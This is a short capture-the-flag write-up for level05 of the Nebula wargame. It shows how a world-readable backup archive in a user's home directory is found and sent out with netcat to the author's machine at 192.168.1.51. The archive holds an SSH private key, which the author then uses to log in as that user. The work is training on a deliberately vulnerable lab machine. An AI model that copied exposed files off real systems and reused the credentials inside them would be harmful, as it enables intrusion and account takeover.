This is the write-up for level05 of Nebula wargame. We are told to check the flag05 home directory and look for weak permissions.
level05@nebula:/home/flag05$ ls -laWorld readable backup! Checking the directory content, we find a gzipped tar archive.
total 28
drwxr-x--- 4 flag05 level05 4096 2011-11-20 21:22 .
drwxr-xr-x 43 root root 4096 2012-10-14 07:20 ..
drwxr-xr-x 2 flag05 flag05 4096 2011-11-20 20:13 .backup
-rw-r--r-- 1 flag05 flag05 220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag05 flag05 3353 2011-05-18 02:54 .bashrc
-rw-r--r-- 1 flag05 flag05 675 2011-05-18 02:54 .profile
drwx------ 2 flag05 flag05 4096 2011-11-20 20:13 .ssh
level05@nebula:/home/flag05$ ls -la .backup/We copy that to our local machine using netcat.
total 12
drwxr-xr-x 2 flag05 flag05 4096 2011-11-20 20:13 .
drwxr-x--- 5 flag05 level05 4096 2012-10-14 10:47 ..
-rw-rw-r-- 1 flag05 flag05 1826 2011-11-20 20:13 backup-19072011.tgz
kroosec@dojo:~$ nc -l 2000 > /tmp/backup.tgz
level05@nebula:/home/flag05$ nc 192.168.1.51 2000 < backup-19072011.tgzAnd extract the archive with tar utility.
kroosec@dojo:~/tmp$ tar zxvf /tmp/backup.tgzAn ssh key, just there, waiting to be used. We can use that to login with the flag05 user account.
.ssh/
.ssh/id_rsa.pub
.ssh/id_rsa
.ssh/authorized_keys
kroosec@dojo:~/test$ ssh flag05@192.168.1.3 -i .ssh/id_rsaAnd run getflag!
flag05@nebula:~$ getflag
You have successfully executed getflag on a target account